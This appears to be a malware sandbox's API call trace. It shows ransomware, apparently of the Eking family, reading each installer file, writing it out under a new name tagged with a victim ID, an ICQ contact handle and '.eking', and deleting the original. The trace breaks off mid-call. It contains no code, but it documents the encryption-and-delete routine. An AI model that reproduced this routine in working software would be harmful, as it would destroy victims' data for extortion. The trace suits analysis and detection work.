GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0096.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0096.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0096.712] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0096.713] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.714] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.714] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0096.714] ReadFile (in: hFile=0x338, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x17200, lpOverlapped=0x0) returned 1 [0096.717] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x17210, lpOverlapped=0x0) returned 1 [0096.720] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0096.720] CloseHandle (hObject=0x338) returned 1 [0096.720] CloseHandle (hObject=0x330) returned 1 [0096.723] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0096.725] SetEvent (hEvent=0x2cc) returned 1 [0096.725] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.726] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=78152) returned 1 [0096.726] CloseHandle (hObject=0x330) returned 1 [0096.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0096.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0096.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0096.726] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.726] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.726] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.726] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x338 [0096.727] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x13148, lpOverlapped=0x0) returned 1 [0096.852] WriteFile (in: hFile=0x338, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x13150, lpOverlapped=0x0) returned 1 [0096.855] WriteFile (in: hFile=0x338, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0096.855] CloseHandle (hObject=0x330) returned 1 [0096.856] CloseHandle (hObject=0x338) returned 1 [0096.858] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0096.860] SetEvent (hEvent=0x2cc) returned 1 [0096.861] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0096.861] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=807256) returned 1 [0096.861] CloseHandle (hObject=0x338) returned 1 [0096.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0096.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0096.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0096.862] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0096.862] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.862] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0096.862] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0097.040] ReadFile (in: hFile=0x338, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xc5158, lpOverlapped=0x0) returned 1 [0097.057] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xc5160, lpOverlapped=0x0) returned 1 [0097.432] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0097.432] CloseHandle (hObject=0x338) returned 1 [0097.433] CloseHandle (hObject=0x330) returned 1 [0097.455] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0097.779] SetEvent (hEvent=0x2cc) returned 1 [0097.779] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0097.912] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=295248) returned 1 [0097.912] CloseHandle (hObject=0x31c) returned 1 [0097.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0097.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0097.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0097.913] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0097.913] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0097.913] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0097.913] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0097.914] ReadFile (in: hFile=0x31c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x48150, lpOverlapped=0x0) returned 1 [0097.938] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x48160, lpOverlapped=0x0) returned 1 [0097.946] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0097.946] CloseHandle (hObject=0x31c) returned 1 [0097.946] CloseHandle (hObject=0x294) returned 1 [0097.964] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0098.372] SetEvent (hEvent=0x2cc) returned 1 [0098.372] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0098.498] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=96088) returned 1 [0098.498] CloseHandle (hObject=0x330) returned 1 [0098.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0098.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0098.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0098.499] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0098.499] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0098.499] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0098.499] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x338 [0098.499] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x17758, lpOverlapped=0x0) returned 1 [0098.502] WriteFile (in: hFile=0x338, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x17760, lpOverlapped=0x0) returned 1 [0098.505] WriteFile (in: hFile=0x338, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0098.505] CloseHandle (hObject=0x330) returned 1 [0098.505] CloseHandle (hObject=0x338) returned 1 [0098.513] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0098.515] SetEvent (hEvent=0x2cc) returned 1 [0098.516] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0098.516] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=41080) returned 1 [0098.516] CloseHandle (hObject=0x338) returned 1 [0098.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0098.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0098.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0098.517] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0098.517] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0098.517] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0098.517] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0098.517] ReadFile (in: hFile=0x338, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xa078, lpOverlapped=0x0) returned 1 [0098.520] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xa080, lpOverlapped=0x0) returned 1 [0098.522] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0098.522] CloseHandle (hObject=0x338) returned 1 [0098.522] CloseHandle (hObject=0x330) returned 1 [0098.780] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0098.781] SetEvent (hEvent=0x2cc) returned 1 [0098.781] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0098.782] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=14084) returned 1 [0098.782] CloseHandle (hObject=0x330) returned 1 [0098.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0098.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0098.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0098.782] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0098.782] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0098.782] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0098.782] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0098.783] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x3704, lpOverlapped=0x0) returned 1 [0098.789] WriteFile (in: hFile=0x31c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x3710, lpOverlapped=0x0) returned 1 [0098.790] WriteFile (in: hFile=0x31c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0098.790] CloseHandle (hObject=0x330) returned 1 [0098.790] CloseHandle (hObject=0x31c) returned 1 [0098.795] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0098.797] SetEvent (hEvent=0x2cc) returned 1 [0098.797] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0098.797] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=38898) returned 1 [0098.797] CloseHandle (hObject=0x31c) returned 1 [0098.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0098.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0098.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0098.798] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0098.798] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0098.798] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0098.798] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0098.798] ReadFile (in: hFile=0x31c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x97f2, lpOverlapped=0x0) returned 1 [0098.801] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x9800, lpOverlapped=0x0) returned 1 [0098.803] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0098.803] CloseHandle (hObject=0x31c) returned 1 [0098.803] CloseHandle (hObject=0x330) returned 1 [0098.808] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0098.809] SetEvent (hEvent=0x2cc) returned 1 [0098.810] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0098.810] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=104072) returned 1 [0098.810] CloseHandle (hObject=0x330) returned 1 [0098.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0098.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0098.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0098.810] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 